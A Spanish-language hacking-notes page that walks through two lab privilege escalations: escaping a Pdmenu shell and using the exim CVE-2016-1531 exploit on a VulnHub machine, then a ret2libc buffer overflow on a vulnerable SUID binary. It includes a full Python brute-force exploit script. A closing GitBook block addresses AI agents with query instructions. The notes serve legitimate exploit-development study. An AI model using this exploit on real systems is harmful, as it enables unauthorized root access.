> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/useful-resources/exploit-development/linux-buffer-overflow-custom.md).

# Desbordamiento de búfer en Linux - Personalizado

Notas personalizadas de desbordamiento de búfer en Linux para construir exploits, controlar el flujo de ejecución, elaborar payloads y documentar la metodología de corrupción de memoria.

## Primer ejemplo de binario personalizado (Pdmenu/exim):

<details>

<summary>Descarga la máquina <a href="https://www.vulnhub.com/entry/pluck-1,178/"><strong>arrancar</strong></a></summary>

</details>

> El primer ejemplo se centra en explotar el binario legítimo exim-4.84-7, que tiene una vulnerabilidad identificada como CVE-2016-1531. Esta vulnerabilidad permite a un atacante ejecutar comandos con privilegios abusando de ciertas variables de entorno.

* En este caso, cuando accedemos al usuario Paul, se le **Pdmenu** asigna con ciertas funcionalidades (listado de directorios, edición de archivos, ejecución de ping, etc.):

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2016501796baec577707066e44e0437f960642ed%2FPasted%20image%2020231209172544.png?alt=media" alt=""><figcaption></figcaption></figure>

* Para escapar de este menú, **editamos un archivo**, por ejemplo (etc/host):

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-28b86bce9f5e668cf3994b48235c293233886f4c%2FPasted%20image%2020231209172946.png?alt=media" alt=""><figcaption></figcaption></figure>

* En este caso, **vi** se utiliza como editor de texto:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-924363aff4528a7962696cec6ade2f1d3d96099a%2FPasted%20image%2020231209173200.png?alt=media" alt=""><figcaption></figcaption></figure>

* Al consultar **gtfobins**, si filtramos por vi, obtenemos los comandos para salir de Pdmenu y **ejecutar una shell**:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a16234fb22ef7e2707795ac2f981291d01becf15%2FPasted%20image%2020231209173133.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f99b2f2480a8c2e2a2bb43039ed65f9204b71e9e%2FPasted%20image%2020231209173418.png?alt=media" alt=""><figcaption></figcaption></figure>

* Filtramos los **SUID** archivos y encontramos uno llamado exim:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f3cd86357eeeaccd18274a0a72e06ad236551fe6%2FPasted%20image%2020231209174441.png?alt=media" alt=""><figcaption></figcaption></figure>

* Con la **searchsploit** herramienta, buscamos posibles vulnerabilidades para este binario:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f7725c717e91d360e0c132acf85a69056ee8670e%2FPasted%20image%2020231209174714.png?alt=media" alt=""><figcaption></figcaption></figure>

* Ahora descargamos el script y lo servimos con **python3** para que pueda cargarse después de comprometer la máquina:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dc571bbef00a3979f3926d7b950cf3e984b1a73a%2FPasted%20image%2020231209175228.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50ed7bb5dd45b9ffd3bb0e0b7c53503ccbc0cdd8%2FPasted%20image%2020231209175737.png?alt=media" alt=""><figcaption></figcaption></figure>

* Ejecutamos el script y, efectivamente, se explota la vulnerabilidad de este binario, obteniendo así **acceso root**:<br>

  <figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f72b9b0ba07ed71daf36b7046af81b8fe690ab6c%2FPasted%20image%2020231209175803.png?alt=media" alt=""><figcaption></figcaption></figure>

## Segundo ejemplo (desbordamiento de búfer):

<details>

<summary><strong>Descargue la máquina</strong> <a href="https://releases.ubuntu.com/16.04/"><strong>Ubuntu</strong></a> <strong>vulnerable</strong></summary>

</details>

<details>

<summary><strong>Instale la herramienta</strong> <a href="https://github.com/longld/peda"><strong>Peda</strong></a></summary>

</details>

> El segundo ejemplo trata de un **Desbordamiento de búfer** en un [binario](https://hack4u.io/wp-content/uploads/2023/04/custom) personalizado en una máquina Linux de 32 bits con protecciones activas y ASLR habilitado. En este caso, nos centramos en explotar ret2libc en un binario que tiene permisos SUID y pertenece a root. Mediante el desbordamiento de búfer, demostramos cómo inyectar comandos privilegiados y elevar los privilegios de usuario.

\***Desbordamiento de búfer** implica sobrescribir ciertos registros del sistema y, dado que el binario es creado por el usuario y pertenece al grupo root, **se ejecutará como un usuario privilegiado**:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d3505ad274f0f9599f7b0bb9b57c96750025523a%2FPasted%20image%2020231211001742.png?alt=media" alt=""><figcaption></figcaption></figure>

* El binario llamado "custom" espera una **entrada de cadena** y, cuando se ejecuta, no ocurre nada:

<div data-full-width="true"><figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-41fc1b231e85bb325fe2699e7b68dbd4f5328a66%2FPasted%20image%2020231210210536.png?alt=media" alt=""><figcaption></figcaption></figure></div>

* Pero si introducimos una **cadena muy larga**, devuelve un error (core dumped):

<div data-full-width="true"><figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4e219fdbcf891d79be030c70009d99e2f5c1420a%2FPasted%20image%2020231210210632.png?alt=media" alt=""><figcaption></figcaption></figure></div>

Enviamos una **cadena corta** de AAAAAAAA y no **aparecen errores**:

* Para analizar el binario en profundidad, utilizaremos la **gdb-peda** herramienta.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c5b17619565c5e0338ca952f6e222e90720fd92b%2FPasted%20image%2020231210220021.png?alt=media" alt=""><figcaption></figcaption></figure>

* Pero si enviamos **muchos caracteres**, obtenemos el siguiente error:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de6363ed2370f784fbfc55690abe0157d07d27d8%2FPasted%20image%2020231210220122.png?alt=media" alt=""><figcaption></figcaption></figure>

1. Lo primero que hay que hacer es **determinar el número total de cadenas** necesarias para sobrescribir el registro (EIP).

* El primer método consiste en utilizar un **patrón (pattern)** que crea una cadena **diseñada espacialmente** (en estos casos, 300 caracteres) que ejecutamos en el binario:

<div data-full-width="true"><figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-afbebaccd9a3654b9aa5a88c2516d9a2ec0bdf8c%2FPasted%20image%2020231210221314.png?alt=media" alt=""><figcaption></figcaption></figure></div>

* En la respuesta de **EIP**, sabemos que la **cadena visible inferior** es "AA8A":

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a75d8332dcc480c4856b5bd3637bec9633bc54e%2FPasted%20image%2020231210221446.png?alt=media" alt=""><figcaption></figcaption></figure>

* El **automático** modo de hacerlo es con `pattern offset $eip` comando:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-346364c65b0b5d927def6adbc3bdf449af9e62ab%2FPasted%20image%2020231210222404.png?alt=media" alt=""><figcaption></figcaption></figure>

* Para comprobarlo, utilizamos **python3** enviando 112 caracteres A y después los 4 B finales:

```bash
r $(python3 -c 'print("A"*112 + "B"*4)')
```

* En efecto, ahora confirmamos la cola gracias a **EIP** que detecta los 4 últimos B:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e7dcfb9c79b3808595e9d7a5856c41157ab5a057%2FPasted%20image%2020231210222818.png?alt=media" alt=""><figcaption></figcaption></figure>

2. Una vez que conocemos el número máximo de cadenas, **comprobamos el ASLR** que determinará si hay **aleatoriedad en las direcciones de memoria** o no:

/- Con el siguiente comando filtramos las cadenas que nos interesan específicamente para ejecutar el binario 10 veces y ver si cambia cada vez, y para ver si la **biblioteca C** es aleatoria o no:

Efectivamente es "aleatoria"

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22727726c98be1eb7357112a068b17467a643ace%2FPasted%20image%2020231210225447.png?alt=media" alt=""><figcaption></figcaption></figure>

3. El problema con estos binarios de **32 bits** a menudo es que si ejecutamos ahora, por ejemplo, **1000 veces** A y filtramos por una cadena fija, vemos que cada vez, **se repetirá al menos una vez**:

<div data-full-width="true"><figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e91c5763936e2be7957ebfe11efd5aa66a0c24a4%2FPasted%20image%2020231210230609.png?alt=media" alt=""><figcaption></figcaption></figure></div>

4. El objetivo ahora es encontrar primero **EIP** cadenas (**system + exit + bin/\_sh**), que siempre serán fijas y necesarias para ejecutar una **Bash como root** como en el siguiente ejemplo, pero en Python:

   <br>

   <figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b0eaab4e8e655348c4a519eed60ecaf559922336%2FPasted%20image%2020231210232052.png?alt=media" alt=""><figcaption></figcaption></figure>

* Creamos un **punto de interrupción** para que el flujo del programa se detenga manualmente:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a903acfed202efbf1a1e5c92ca34a318d7ddaff2%2FPasted%20image%2020231210232517.png?alt=media" alt=""><figcaption></figcaption></figure>

* Inyectamos las direcciones **EIP** de (system/exit/bin/\_sh):<br>

  <figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-70610485b1f7e4cf7fcbfbbb71f24a5f7b963207%2FPasted%20image%2020231210232655.png?alt=media" alt=""><figcaption></figcaption></figure>

5. Una vez que vemos que hay **aleatoriedad**, necesitaremos utilizar **fuerza bruta** hasta que **base/\_libc/\_addr** sea igual al valor deseado:

/- Con lo siguiente veremos las **bibliotecas que se están ejecutando** (en este caso **libc.so**):

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b0b3e21c1bdf6b51b3a7e22f2fe90f39739246b5%2FPasted%20image%2020231210225034.png?alt=media" alt=""><figcaption></figcaption></figure>

* Con **readelf**, filtramos la biblioteca y buscamos las variables inyectadas previamente, que son (**exit y system**) con los códigos:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a33159375951b037f578e325348d57ca9591e0cb%2FPasted%20image%2020231210234310.png?alt=media" alt=""><figcaption></figcaption></figure>

* Y para encontrar la cadena **/bin/sh**, hacemos lo siguiente, añadiendo un **0x00** al principio:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-01c73ed163fa6ddae8f58fbc482cfaa526e2d811%2FPasted%20image%2020231210234828.png?alt=media" alt=""><figcaption></figcaption></figure>

El siguiente script de Python3 **automatizará toda la fuerza bruta** hasta que **base/\_libc/\_addr** sea igual:

```python
#!/usr/bin/python3

import subprocess
from struct import pack 
import sys 

offset = 112
before_eip = b"A" * 112

# Desbordamiento de búfer personalizado de Linux

base_libc_addr = 0xb7595000

system_addr_off = 0xb7d86db0
exit_addr_off = 0xb7d7a9e0
bin_sh_addr_off = 0xb7ea7b2b

system_addr = pack("<L", base_libc_addr + system_addr_off)
exit_addr = pack("<L", base_libc_addr + exit_addr_off)
bin_sh_addr = pack("<L", base_libc_addr + bin_sh_addr_off)

payload = before_eip + system_addr + exit_addr + bin_sh_addr

while True:
    result = subprocess.run(["sudo", "/usr/bin/custom", payload])

    if result.returncode == 0:
        print("/n/n [+] Saliendo.../n")
        sys.exit(0)
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fee04d8b7a367856a5708516e9725d722f734c89%2FPasted%20image%2020231211003326.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/useful-resources/exploit-development/linux-buffer-overflow-custom.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
